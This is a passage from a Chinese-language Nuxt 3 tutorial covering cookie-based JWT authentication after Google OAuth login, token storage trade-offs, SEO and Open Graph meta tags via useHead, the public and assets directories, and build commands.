\u0026lt;/script\u0026gt; 我們就可以設置一個只有目前網頁有效的 cookie 名為 name 及一個過期時間為 60 秒後的 counter。\n伺服器端使用 getCookie 與 setCookie 你可以在伺服器端使用 getCookie() 來取得前端夾帶過來的 cookie，也可以使用 setCookie 來設置 cookie 回應給前端。\n舉個例子，新增 server/api/coookie.js，內容如下：\nserver/api/coookie.js 1 2 3 4 5 6 7 8 9 10 export default defineEventHandler((event) =\u0026gt; { let counter = getCookie(event, \u0026#39;counter\u0026#39;) counter = parseInt(counter, 10) || 0 counter += 1 setCookie(event, \u0026#39;counter\u0026#39;, counter) return { counter } }) 當前端打 /api/cookie 這隻 Server API 時，就會自動夾帶瀏覽器中的 cookie，伺服器端收到請求解析 cookie 後得到 counter，將其轉為數值或預設為 0 後增加 1，再重新設定回去給前端。\n使用 Cookie 做使用者驗證 我們可以將 Cookie 的運作機制應用在會員系統當中，使用者登入成功後，後端產生的 Token 或 Session 回傳並儲存在使用者的瀏覽器中，之後的請求將會自動夾帶可以辨識出使用者的 cookie，我們就可以在後端解析或比對 cookie 來驗證使用者的資訊，並依照策略給予不同的處理邏輯。\n我們延續上述的使用 Google OAuth 登入，我們可以在後端實作產生我們自己系統使用的 Token，並設置在 access_token 這個 cookie 之中，後端可以寫如下程式碼，來設置 httpOnly 及 maxAge 過期時間等參數。\nserver/api/auth/google.post.js 1 2 3 4 5 6 7 8 9 10 11 12 13 export default defineEventHandler(async (event) =\u0026gt; { // ... setCookie(event, \u0026#39;access_token\u0026#39;, accessToken, { httpOnly: true, maxAge, expires: new Date(expires * 1000), secure: process.env.NODE_ENV === \u0026#39;production\u0026#39;, path: \u0026#39;/\u0026#39; }) // ... }) 我們使用 jsonwebtoken 產生 JWT，裡面的 Payload 放置了使用者資訊，其中 jwtSignSecret 作為核發 JWT 的簽署金鑰，我們定義在 nuxt.config.ts 中的 runtimeConfig.jwtSignSecret。\n安裝 jsonwebtoken\n1 2 3 npm install jsonwebtoken # or # yarn add jsonwebtoken 完整的 ./server/api/auth/google.post.js 程式碼如下：\nserver/api/auth/google.post.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import { OAuth2Client } from \u0026#39;google-auth-library\u0026#39; import jwt from \u0026#39;jsonwebtoken\u0026#39; const runtimeConfig = useRuntimeConfig() export default defineEventHandler(async (event) =\u0026gt; { const body = await readBody(event) const oauth2Client = new OAuth2Client() oauth2Client.setCredentials({ access_token: body.accessToken }) const userInfo = await oauth2Client .request({ url: \u0026#39;https://www.googleapis.com/oauth2/v3/userinfo\u0026#39; }) .then((response) =\u0026gt; response.data) .catch(() =\u0026gt; null) oauth2Client.revokeCredentials() if (!userInfo) { throw createError({ statusCode: 400, statusMessage: \u0026#39;Invalid token\u0026#39; }) } const jwtTokenPayload = { id: userInfo.sub, nickname: userInfo.name, email: userInfo.email } const maxAge = 60 * 60 * 24 * 7 const expires = Math.floor(Date.now() / 1000) + maxAge const jwtToken = jwt.sign( { exp: expires, data: jwtTokenPayload }, runtimeConfig.jwtSignSecret ) setCookie(event, \u0026#39;access_token\u0026#39;, jwtToken, { httpOnly: true, maxAge, expires: new Date(expires * 1000), secure: process.env.NODE_ENV === \u0026#39;production\u0026#39;, path: \u0026#39;/\u0026#39; }) return { id: userInfo.id, nickname: userInfo.name, avatar: userInfo.picture, email: userInfo.email } }) JWT 在核發時使用的加密金鑰，建議使用非對稱式的金鑰進行加密，這邊僅是為了範例展示方便而使用相同的 Secret 進行加解密。\n接著，我們可以實作一個 Server API，./server/api/whoami.js 來從 cookie 得到 access_token，再用 jwt.verify() 方法，來驗證 JTW 後的到使用者資訊。\nserver/api/whoami.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import jwt from \u0026#39;jsonwebtoken\u0026#39; const runtimeConfig = useRuntimeConfig() export default defineEventHandler((event) =\u0026gt; { const jwtToken = getCookie(event, \u0026#39;access_token\u0026#39;) try { const { data: userInfo } = jwt.verify(jwtToken, runtimeConfig.jwtSignSecret) return { id: userInfo.id, nickname: userInfo.nickname, email: userInfo.email } } catch (e) { throw createError({ statusCode: 401, statusMessage: \u0026#39;Unauthorized\u0026#39; }) } }) 我們在前端，就可以使用 /api/whoami 這隻 API 來得到使用者的資訊囉！\n上圖的流程如下：\n前往登入頁面，並使用 Google 進行登入 登入成功後，打 /api/auth/google API，Body 夾帶 Google OAuth 回傳的 access_token。 /api/auth/google API 回傳後端產生的時效七天的 JWT，並設置於 cookie 的 access_token，並將前端頁面導航至 /whoami 頁面。 在 /whoami 頁面，點擊「打 /api/whoami API」按鈕，送出 /api/whoami API 請求，瀏覽器會自動夾帶 cookie 至後端。 後端 API /api/whoami 收到請求後，從 cookie 中解析出 access_token 的值，並驗證解析出 JWT 內含的使用者資訊，並將其回傳至前端渲染。 pages/whoami.vue 完整程式碼：\npages/whoami.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center justify-center py-12 px-4 sm:px-6 lg:px-8\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;w-full max-w-md\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h2 class=\u0026#34;mt-6 text-center text-3xl font-bold tracking-tight text-gray-700\u0026#34;\u0026gt;我是誰\u0026lt;/h2\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;mt-6 flex w-full max-w-md flex-col items-center\u0026#34;\u0026gt; \u0026lt;button type=\u0026#34;button\u0026#34; class=\u0026#34;mt-2 w-fit rounded-sm bg-emerald-500 py-2 px-4 text-sm text-white hover:bg-emerald-600 focus:outline-none focus:ring-2 focus:ring-emerald-400 focus:ring-offset-2\u0026#34; @click=\u0026#34;whoami\u0026#34; \u0026gt; 打 /api/whoami API \u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div v-if=\u0026#34;userInfo\u0026#34; class=\u0026#34;mt-8 flex w-full max-w-md flex-col\u0026#34;\u0026gt; \u0026lt;div v-for=\u0026#34;key in Object.keys(userInfo)\u0026#34; :key=\u0026#34;key\u0026#34; class=\u0026#34;mt-1 flex flex-wrap break-all\u0026#34;\u0026gt; \u0026lt;label class=\u0026#34;text-lg font-semibold text-emerald-500\u0026#34;\u0026gt; {{ key }}:\u0026lt;/label\u0026gt; \u0026lt;span class=\u0026#34;ml-2 flex flex-1 text-lg text-slate-700\u0026#34;\u0026gt;{{ userInfo[key] }}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const userInfo = ref() const whoami = () =\u0026gt; { useFetch(\u0026#39;/api/whoami\u0026#39;).then((response) =\u0026gt; { userInfo.value = response.data.value }) } \u0026lt;/script\u0026gt; 至此，我們就實作出一個 Google OAuth 的登入及驗證機制，後續可以再將這些資訊儲存至資料庫之中做後續的使用。\n這個範例的完整程式碼可以參考 Nuxt 3 - 使用 Cookie 與 JWT 做使用者驗證\n小提醒，如果是在伺服器端打 API，可以使用 useRequestHeaders 就可以從伺服器端訪問和代理 cookie 到 API。\n1 2 3 4 5 \u0026lt;script setup\u0026gt; const { data: userInfo } = await useFetch(\u0026#39;/api/whoami\u0026#39;, { headers: useRequestHeaders([\u0026#39;cookie\u0026#39;]) }) \u0026lt;/script\u0026gt; Cookie、LocalStorage、Token 與 JWT 在做使用者驗證的時候，Cookie、LocalStorage、Token 與 JWT 是個重要的概念，這邊稍微簡述一下之間的差異與使用情境。\nCookie 通常採用 Cookie 來驗證使用者時，當使用者登入成功，會由伺服器端產生一組 cookie 來當作後續驗證使用的依據，這個依據會是一個字串形式，瀏覽器每次發送請求時會自動夾帶符合 Domain、路徑設定等的 cookie，伺服器端就可以依據 cookie 來解析驗證這個字串所代表的涵意，例如是不是匹配代表某位使用者字串。\n如同前面的例子，我們將一組能夠代表 Ryan 的 JWT 由登入後產生，並在後續請求中夾帶，以達到驗證使用者的效果。\n這串字串，不一定是要 JWT，只要伺服器端能回推或從資料庫比對出所代表的使用者或特定資訊，那麼也可以是隨意產生的字串。\nLocalStorage LocalStorage 是現今瀏覽器基本上都支援的一個儲存空間，同樣具有 Domain 的寫入與讀取的概念，在 cookie 我們最多只能儲存 4KB 左右的字串資料，但是在 LocalStorage 通常有 5MB 所以能夠儲存更多的資訊。\n也有網站會把驗證使用者的 Token 或憑證依據儲存在 LocalStorage，之後發送請求或需要時再從中拿取出來並手動夾帶出去，同樣也可以實作出驗證使用者的流程。\n在瀏覽器的儲存空間，還有一個 SessionStorage，儲存在這裡面的資料，當網頁關閉時，就會自動清除。與 LocalStorage 不同，除非手動或使用 JS 清除，不然資料永遠存在，也不會有過期時間。\nToken 用於提供給使用者後續夾帶給後端的憑據，相當於一個身分證，Token 通常由字串組成，且需要夠長不容易被暴力嘗試破解，Token 字串通常不具有任何意義，直至後端與資料庫或其他方式比對後，會對應出 Token 所代表的意義，例如使用者資訊。\n通常請求夾帶的 Token，需要每次往快取或資料庫做比對，才能知道 Token 所代表的使用者。\nJWT(JSON Web Token) JWT 是一種開放的標準 RFC 7519，如同名字 JWT 是基於 JSON Object 所編碼出來的，JWT 是由三個部分 Header、Payload 及 Signature 組合而成。\n其中最大的特色就是 Payload 這個部分，當後端伺服器收到 JWT 時，可以從 Payload 解析出當初簽發 JWT 所包含的資訊，通常會在 Payload 放置使用者的相關資料，如 Id、姓名或信箱等，因為這個特色我們不需要再比對快取或資料庫，就可以直接解析出使用者資料。\n而 Payload 這個欄位，因為可以被解碼出來，再任意的修改後重新編碼，所以我們就會借助 Header 及 Signature 這兩個部分，來確認當初加密的演算法及驗證簽章是否符合，以防止 Payload 被任意的竄改。\nToken 或 JWT 選哪一個？ 這兩者之間各有優缺點，雖然自產 Token 需要每次比對資料庫，但是能有效的記錄使用者 Token 核發使用的位置及註銷特定的 Token，因為 JWT 在簽發後，一定得等到過期才會失效無法使用，也就導致 JWT 在核發之後是無法註銷的，除非自己在實作一個黑名單或白名單的機制。\n可以依據使用的情境來決定 Token 或 JWT，只要記得使用 Token 作為解決方案，要保證 Token 足夠複雜或隨機，不容易被推測或暴力嘗試，如果真的要使用比較短的 Token 也確保過期的時間不要設定太長，要頻繁的更換這組 Token 或添加其他驗證機制。\n而 JWT 的利於可以包含 Payload，也切記在後端核發時不要將敏感資料或密鑰夾帶在 Payload 之中，因為 JWT 的 Payload 就算不知道加密的私鑰還是可以被解碼的。而簽發 JWT 選擇加密的方式也盡量採用非對稱式的家姐密，例如使用 ES256 (ECDSA-SHA256) 演算法產生的非對稱金鑰來進行加密。\nToken 要放在 Cookie 還是 LocalStorage？ 後端產生的 Token 或 JWT，不管存放在 Cookie 或 LocalStorage 只要注意其特性及安全，那麼想存在哪裡，都是可以被接受的。\n放在 Cookie 將 Token 存放在 Cookie 的好處，可以用來控制網站的 Domain 或 SubDomain 進行存取，也可以設定過期時間來控制前端是否要重新問後端產生新的 Token，最大的特點就是自動夾帶在每個請求當中，也因為這項特性，有一些資安風險就需要稍微注意一下。\n跨站請求偽造 (Cross Site Request Forgery, CSRF) 就是一個 cookie 使用時所需要注意的資安問題，所以當使用 cookie 作為驗證機制時，建議在敏感的操作上多添加驗證的機制，或使用 CSRF Token 來保護你的 cookie 不被隨意偽造請求的夾帶出去。\n將 Token 或敏感資料儲存在 cooike 時，還是可以透過 JavaScript 的 document.cookie 做存取，所以如果網站有存在跨網站指令碼 (Cross-site scripting, XSS) 的弱點，你的 cookie 很可能就會直接被偷走，為了防止 XSS 弱點導致 cookie 外洩，你可以將 cookie 設值時的屬性 httpOnly 設置為 true，讓客戶端瀏覽器無法直接存取，僅有在發送請求時，由瀏覽器自動夾帶至後端，此外，也可以設置 secure 讓 cookie 只在 HTTPS 下傳輸。\n放在 LocalStorage 關於 Token 是否儲存在 LocalStorage 其實有不同的看法，因為 cookie 存在著 CSRF 或 XSS 等問題需要解決，而存放在 LocalStorage 不僅有更大的空間，還不自帶免疫 CSRF，難道不香嗎？\n但是別忘了 LocalStorage 也是透過 JS 來做儲存與讀取，所以就算使用 LocalStorage 了，但 XSS 弱點如果存在，你的 Token 一樣有外洩的可能性。\n而且 LocalStorage 不具有過期自動刪除的特性，除非自己實作或刪除否則將永遠的存在瀏覽器之中。\n所以？\n網路上有許多使用 Cookie 或 LocalStorage 儲存 Token 說法，有興趣也可以看看兩派各自論述的優缺點，所以，不管是 Cookie 還是 LocalStorage 沒有說一定不能使用誰，而是要依據特性及情境來做使用，並做好定期重新產生及相關的安全配置。\n我自己大概會依照這個網站或服務，是相對簡單也比較不會有會造成悲劇的操作或內容管理為主的服務，我可能就會採用 cookie 的方案處理驗證，因為相對來說自動夾帶與有效期限及 httpOnly 來控制客戶端是否能直接存取，對我來說還是挺方便與安全的，可能在適當的時機再添加 CSRF Token 或多道驗證機制，就能安全的使用 cookie。\n而在多為內部系統使用或是 API 在 Mobile App 甚至是不支援 Cookie 環境之下需要使用 Token 來驗證，我就會採納將 Token 儲存在 LocalStorage。\n搜尋引擎最佳化 (SEO) 與 HTML Meta Tag 選擇使用 Nuxt 3 作為網站開發框架的開發者，多數都是為了要使用 SSR 或 SSG 來加強對 SEO 的優化設置，這篇將會講述 Nuxt 提供的幾個組合式函數，來協助我們設置網頁的標題、內文、Meta 等，以此來設置 SEO 或外部連結可能會解析到的標籤與數值內容。\n搜尋引擎最佳化 (SEO) - 網站的標題 (Title) 與描述 (Description) 當網站需要做搜尋引擎最佳化 (SEO) 的時候，Meta Tag 這個名詞你一定不能忽略，Meta Tag 稱之為元標籤或描述標籤，顧名思義，是來額外描述網頁的資料使用；Meta Tag 通常放置在 HTML 的 中，雖然 Meta Tag 不會直接顯示在網頁上，但對於搜尋引擎的爬蟲來說，是相當重要的一項識別資訊，也是 Facebook 提出的 Open Graph 放置的位置，讓網頁的標題、描述或縮圖等，能正確的被解析顯示出來。\n那麼網頁標題與描述，如果正確設定會有什麼樣子的效果呢？舉例來說，前面的【串接 Google OAuth 登入】我們可以透過網頁原始碼來查看，可以發現 \u0026lt;title\u0026gt; 與 \u0026lt;meta name=\u0026quot;description\u0026quot; … /\u0026gt; 都有設定。\n搜尋引擎爬蟲在收錄網頁時，就會解析這些標籤來建立索引，我們在使用搜尋資料時，網頁的資訊也就對應著顯示出來，如下圖。\n各家的搜尋引擎爬蟲，雖然都有自己解析的規則，不過根據 SEO 的經驗都有大方向能夠依循做建立，此外就是在針對特定的搜尋引擎加強識別標記，遵照官方指引就能讓網站的內容能見度有顯著提升。\n網站的 Open Graph (OG) OG 是由 Facebook 所提出的設定，全名為 Open Graph Protocol，官方翻譯為「開放社交關係圖」，在設定網站的 Meta 時通常也稱 OG Tag，Facebook 提供了網站管理員分享指南，當初設計的目的是，當網頁中設定了 OG Tag，能讓網頁被分享至社群媒體時，能有呈現更為豐富的內容，例如標題、描述及縮圖等。\n舉例來說，當網頁設定了 OG Tag，以連結形式被分享至 Facebook，會呈現如下的資訊，Facebook 會解析網頁內的 OG Tag 將對應的如標題及縮圖等資訊顯示出來。\n其中縮圖依照 Facebook 的指引，即是對應網頁中的 \u0026lt;meta property=\u0026quot;og:image\u0026quot; ... /\u0026gt;。\n不只是在 Facebook 上分享連結會有連結預覽的效果，也因為大家都遵循著 OG Tag 進行設定，所以在其他主流的社群媒體或通訊軟體等也都有跟進解析。例如，我們使用 LINE 傳送一條連結，也會因為設置了 OG Tag 也有成功解析出連結預覽的效果。\nLINE 開發者也有提供一些問答指引可以做參考，連結預覽與 og:title、og:description 和 og:image 有著相應的設定關係。\nuseHead 我們可以使用 Nuxt 3 提供的 useHead() 組合式函數，來設定網站的一些標籤或標記，使用方式如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 \u0026lt;script setup\u0026gt; useHead({ title: \u0026#39;Nuxt 3 Blog\u0026#39;, viewport: \u0026#39;width=device-width, initial-scale=1, maximum-scale=1\u0026#39;, charset: \u0026#39;utf-8\u0026#39;, meta: [ { name: \u0026#39;description\u0026#39;, content: \u0026#39;這裡是 Nuxt 3 學習筆記 實戰部落格\u0026#39; } ], bodyAttrs: { class: \u0026#39;test\u0026#39; } }) \u0026lt;/script\u0026gt; useHead() 函數接受參數的類型如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 useHead(meta: Computable\u0026lt;MetaObject\u0026gt;): void interface MetaObject extends Record\u0026lt;string, any\u0026gt; { charset?: string viewport?: string meta?: Array\u0026lt;Record\u0026lt;string, any\u0026gt;\u0026gt; link?: Array\u0026lt;Record\u0026lt;string, any\u0026gt;\u0026gt; style?: Array\u0026lt;Record\u0026lt;string, any\u0026gt;\u0026gt; script?: Array\u0026lt;Record\u0026lt;string, any\u0026gt;\u0026gt; noscript?: Array\u0026lt;Record\u0026lt;string, any\u0026gt;\u0026gt; titleTemplate?: string | ((title: string) =\u0026gt; string) title?: string bodyAttrs?: Record\u0026lt;string, any\u0026gt; htmlAttrs?: Record\u0026lt;string, any\u0026gt; } charset：指定 HTML 的字元編碼，預設為 utf-8。 viewport：設定網頁的可見區域，預設為 width=device-width, initial-scale=1。 meta：接受一個陣列，陣列中的每個元素，都將會建立一個 \u0026lt;meta\u0026gt; 標記，元素中物件的屬性將對應至 的屬性。 link：接受一個陣列，陣列中的每個元素，都將會建立一個 \u0026lt;link\u0026gt; 標記，元素中物件的屬性將對應至 的屬性。 style：接受一個陣列，陣列中的每個元素，都將會建立一個 \u0026lt;style\u0026gt; 標記，元素中物件的屬性將對應至 的屬性。 script：接受一個陣列，陣列中的每個元素，都將會建立一個 \u0026lt;script\u0026gt; 標記，元素中物件的屬性將對應至 的屬性。 noscript：接受一個陣列，陣列中的每個元素，都將會建立一個 \u0026lt;noscript\u0026gt; 標記，元素中物件的屬性將對應至 的屬性。 titleTemplage：接受一個字串或函數，用來動態的設定該頁面元件的網頁標題。 title：在頁面元件設置靜態的網頁標題。 bodyAttrs：接受一個物件，設置網頁中 標籤的屬性，物件中的屬性將對應至 的屬性。 htmlAttrs：接受一個物件，設置網頁中 標籤的屬性，物件中的屬性將對應至 的屬性。 自訂 Metadata 使用 useHead() 函數設定屬性所傳入的字串或物件可以是具有響應性的變數，當數值變動時，相對應的數值也會一同響應，例如下面的程式碼，可以動態的變更標題或描述。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 \u0026lt;script setup\u0026gt; const title = ref(\u0026#39;Nuxt 3 Blog\u0026#39;) const description = ref(\u0026#39;這裡是 Nuxt 3 學習筆記 實戰部落格\u0026#39;) useHead({ title, meta: [ { name: \u0026#39;description\u0026#39;, content: description } ] }) \u0026lt;/script\u0026gt; 添加動態網頁的標題 我們可以在 app.vue 添加如下程式碼，titleTemplage 中的 %s 將會帶入目前頁面 title 或更上層頁面的 title 屬性：\napp.vue 1 2 3 4 5 6 7 8 \u0026lt;script setup\u0026gt; const title = ref(\u0026#39;Nuxt 3 Blog\u0026#39;) useHead({ title, titleTemplate: \u0026#39;%s - 首頁\u0026#39;, }) \u0026lt;/script\u0026gt; 可以看到網頁的標題變為「Nuxt 3 Blog - 首頁」。\n你也可以傳入一個函數來動態的添加網頁的標題。\napp.vue 1 2 3 4 5 6 7 8 9 10 \u0026lt;script setup\u0026gt; const title = ref(\u0026#39;Nuxt 3 Blog\u0026#39;) useHead({ title, titleTemplate: (title) =\u0026gt; { return title ? `${title} - 首頁` : \u0026#39;首頁\u0026#39; } }) \u0026lt;/script\u0026gt; 添加外部 CSS 我可以使用 useHead() 來添加 Google 字體至 link 屬性之中。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 \u0026lt;script setup\u0026gt; useHead({ link: [ { rel: \u0026#39;preconnect\u0026#39;, href: \u0026#39;https://fonts.googleapis.com\u0026#39; }, { rel: \u0026#39;stylesheet\u0026#39;, href: \u0026#39;https://fonts.googleapis.com/css2?family=Roboto\u0026amp;display=swap\u0026#39;, crossorigin: \u0026#39;\u0026#39; } ] }) \u0026lt;/script\u0026gt; 添加第三方的 JavaScript 你也可以使用 useHead() 來插入第三方的 JS。\n1 2 3 4 5 6 7 8 9 10 \u0026lt;script setup\u0026gt; useHead({ script: [ { src: \u0026#39;https://third-party-script.com\u0026#39;, body: true } ] }) \u0026lt;/script\u0026gt; 在模板中使用相對應的元件設置屬性及標籤 Nuxt 提供 \u0026lt;Title\u0026gt;、\u0026lt;Base\u0026gt;、\u0026lt;Script\u0026gt;、\u0026lt;NoScript\u0026gt;、\u0026lt;Style\u0026gt;、\u0026lt;Meta\u0026gt;、\u0026lt;Link\u0026gt;、\u0026lt;Body\u0026gt;、\u0026lt;Html\u0026gt; 和 \u0026lt;Head\u0026gt;，我們可以直接在元件中模板 (Template) 使用這些元件進行設定網頁的屬性及標籤。\n因為這些元件名稱與原生 HTML 標記相似，所以記得在模板中使用要開頭為大寫。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;Head\u0026gt; \u0026lt;Title\u0026gt;{{ title }}\u0026lt;/Title\u0026gt; \u0026lt;Meta name=\u0026#34;description\u0026#34; :content=\u0026#34;description\u0026#34; /\u0026gt; \u0026lt;Style type=\u0026#34;text/css\u0026#34; children=\u0026#34;body { background-color: green; }\u0026#34;\u0026gt;\u0026lt;/Style\u0026gt; \u0026lt;/Head\u0026gt; \u0026lt;h1\u0026gt;{{ title }}\u0026lt;/h1\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const title = ref(\u0026#39;Nuxt 3 Blog\u0026#39;) const description = ref(\u0026#39;這裡是 Nuxt 3 學習筆記 實戰部落格\u0026#39;) \u0026lt;/script\u0026gt; definePageMeta() 我們其實在前面就有使用過 definePageMeta() 來設置頁面的布局或中間件，在各個頁面之中，我們也可以使用 definePageMeta() 來設置一些屬性與 useHead() 進行搭配。\n例如，我們的 app.vue 使用 useHead 設定的一個 meta，並且是根據 route.meta.title 所動態的設定。\napp.vue 1 2 3 4 5 6 7 \u0026lt;script setup\u0026gt; const route = useRoute() useHead({ meta: [{ name: \u0026#39;og:title\u0026#39;, content: `${route.meta.title} | Nuxt 3 Blog` }] }) \u0026lt;/script\u0026gt; 我們在 pages/articles.vue 添加如下程式碼：\npages/articles.vue 1 2 3 4 5 \u0026lt;script setup\u0026gt; definePageMeta({ title: \u0026#39;所有文章\u0026#39; }) \u0026lt;/script\u0026gt; 當我們瀏覽 /articles 頁面時，Nuxt 在伺服器端就幫我們渲染好 og:title 的 meta 了。我們可以透過檢視原始碼的方式來看看效果。\n在 Nuxt 3 提供了一些可以設置網頁屬性與 Meta 的組合式函數，更能動態的調整與響應，結合 SSR 讓這些標記在伺服器端就能渲染出來，對網站做搜尋引擎最佳化 (SEO) 非常得友善，也是多數人選擇 Nuxt 3 來處理 SSR 與 SEO 的原因。除了 SEO 可能會使用到的標記外，也有 OG Tag 可以加強網頁的連結預覽效果，雖然 OG Tag 與 SEO 沒有絕對的關係，但是透過伺服器端渲染調整這些 Meta 對搜尋引擎或網站都非常的方便，我們只要根據需求及指引做設定，就能對網站的能見度有所提升。\nPublic 與 Assets 資源目錄(Nuxt 3 的靜態資源) 在網站的開發過程中，多少會使用到圖片、樣式或設定字體，而當這些檔案若沒有外部連結或某些需求下需要包含在專案內做使用，最後連帶這些檔案一起部署。在使用 create-vue 建立的 Vue 的專案下包含了 public 與 src 內的 assets 目錄，這兩個目錄都是可以放置這類不常變動的靜態資源，但這兩個目錄各自因為一些特性，建議放置的檔案類型依據使用目的有所區別。\nNuxt 3 使用專案下的兩個目錄來提供使用者處理圖片、樣式或字體，這兩個目錄分別為 public 與 assets。\npublic 目錄 在 Nuxt 3 的專案根目錄下，存在一個名為 public 的目錄，這個目錄如同 Vue 中的 public 目錄或 Nuxt 2 中的 static 目錄。這個目錄下的檔案，將會由 Nuxt 直接於網站的根路徑，例如 / 提供存取。\n例如建立 public/robots.txt 將可以使用 http://localhost:3000/robots.txt 存取。\n通常我們會在 public 目錄放置不常更動的檔案，或是需要保留檔案的名稱，例如 robots.txt 就需要一個固定的名稱，才能正確的被搜尋引擎的爬蟲所解析再決定檢索的規則，抑或 sitemap.xml 與 favicon.ico 檔案等，都很適合放置在 public 目錄。\n你可能也會想，那圖片或 CSS 樣式，我也不常變動，難道就不能放置在 public 目錄嗎？\n行，當然行，哪次不行！\n舉個例子，我們將這張圖片放置於 public 目錄下並命名為 bg.png，專案目錄下其他檔案就先不列，整個結構大概長的像下面這樣。\n1 2 3 4 nuxt-app/ ├── public/ │ └── bg.png └── app.vue 根據規則，我可以使用 http://localhost:3000/bg.png 存取，如下圖我們確實成功的能存取到圖片。\n所以，我們在 app.vue 新增如下程式碼，使用 /bg.png 來等同訪問 public/bg.png 檔案：\napp.vue 1 2 3 4 5 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;img src=\u0026#34;/bg.png\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 也確實能在網頁中使用 \u0026lt;img src=\u0026quot;/bg.png\u0026quot; /\u0026gt; 來顯示圖片。\n既然 public 目錄已經能提供靜態資源的連結，那麼為什麼還有一個名為 assets 的目錄呢？接下來我們先介紹 assets 目錄，最後再來總結一下差異。\nassets 目錄 Nuxt 3 使用 Vite 或 Webpack 來建構專案進行打包，這些建構工具主要功能是用來處理 JavaScript 檔案將其編譯、轉換或壓縮等，但它們可以透過各自的插件或 Loader 來處理其他檔案類型的資源，例如樣式、字體或 SVG 等。\n舉例來說，我們在 assets 下建立一個 Sass 的樣式，當這個 Sass 檔案被載入使用，就會經過插件或 Loader 來進行 CSS 的預處理及編譯，最終產生一個 CSS 檔案，也可以針對單純的 CSS 檔案進行壓縮。又或者說，當使用 \u0026lt;img\u0026gt; 的 src 屬性設定載入我們放置在 assets 的圖片或圖示，最終需要轉換為 Base64 編碼而不是產生一個連結，我們也需要依賴建構工具插件的擴展來幫助。\n其主要的目的，不外乎就是為了效能與解決瀏覽器的快取。放置在 assets 目錄下的檔案，可能會被插件或 Loader 進行轉換或壓縮，最終產生出來的檔案也具備連結可以進行存取。\n如果使用 public 目錄下導出的 /bg.png，就算我們替換了 bg.png 圖片，可能就會因為檔案根據檔案名稱被瀏覽器快取住，導致前端還是看到舊的檔案。我們在使用 assets 目錄下的檔案時雖然檔名都是 bg.png，但在建構時產生的檔案通常會夾帶 Hash，例如：bg.16a2f98c.png，如此一來我們每次更新圖片，都都會隨機的產生一組 Hash 就能防止瀏覽器快取，導致好像網站更新失效的錯覺。\n舉例來說，我們以相同的圖片，改放置於 assets/bg.png：\n1 2 3 4 nuxt-app/ ├── assets/ │ └── bg.png └── app.vue app.vue 1 2 3 4 5 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;img src=\u0026#34;~/assets/bg.png\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 在開發環境 ~/assets/bg.png 會轉換為 /_nuxt/assets/bg.png，實際上也能使用 http://localhost:3000/_nuxt/assets/bg.png 進行訪問。\n除了 ~/assets 可以對應 assets 目錄外，也可以參考官方的 alias 更多或自訂別名來使用相對路徑。\n但當你的網站部署完成或啟動建構出來的專案，會發現圖片檔名包含了 Hash，例如 /_nuxt/bg.0a299ea1.png。\n最後我們以最終建構出來的專案結構對比如下圖，在 public 目錄下的檔案，會原封不動的照搬至 .output/public 下，也就可以使用 /bg.png 存取；而放置在 assets 下的檔案，可能會被處理加工，最後檔案名稱會加上一個 Hash 並放置在 .output/public/_nuxt 下，也就需要使用 /_nuxt/bg.0a299ea1.png 存取。\n總結來說多數情況建議把靜態資源放置在 assets，也因為靜態資源多為 SFC 所使用，通常也會放置最多檔案，最後建構時也會因為建構工具的設定來進行轉換或壓縮，最後添加 Hash 來提供存取，也因為每次建構產生的檔案都不一樣，所以不適合直接以完整的 URL 供外部連結使用。而當有些例外情況不適合，例如 robots.txt 或 sitemap.xml 這類的檔案不需要經過額外處理且需要絕對路徑保持檔案名稱，那就得放置在 public 目錄下提供存取。\n發布網站前的建構打包 (Build) 與靜態網站生成 (Static Site Generation) 當網站開發完成或有導入 CI/CD，在準備發布網站前，我們會將 Nuxt 網站的開發專案透過 Nuxt 提供的指令，我們可以來建構出正式環境所需要的版本，這個建構的過程你可以理解為專案將會打包需要的依賴套件、編譯與轉換相關的 Vue SFC 與樣式等，甚至幫你壓縮這些檔案等許多步驟，這些繁瑣的過程都透過 Nuxt 的建構指令來幫你完成，你可以結合一些設定參數與指令，來幫助你建構出正式環境所需要的網站專案，最後再進行部署的動作。\nNuxt 3 專案如何建構正式環境版本？ 當我們建立一個乾淨的 Nuxt 3 專案，可以使用 package.json 中 scripts 內的指令來進行建構或預渲染產生靜態頁面：\n1 2 3 4 5 npm run build npm run generate # or # yarn run build # yarn run generate 或者你也可以使用 Nuxt CLI 來達到一樣的效果：\n1 2 npx nuxi build npx nuxi generate generate 指令會觸發 build 的指令並帶有 prerender 為 true 的參數，最終產生出來的目錄可以直接進行部署，不需要再執行一次 build 的指令。\n使用預設配置進行建構 - 建構通用渲染 (Universal Rendering) 的網站 這邊我們以 【Nuxt3】實戰練習 - 實作部落格 所建立的部落格作為範例，來嘗試以預設的配置進行建構，目前 Nuxt 3 預設 nuxt.config.ts 中 ssr 屬性為 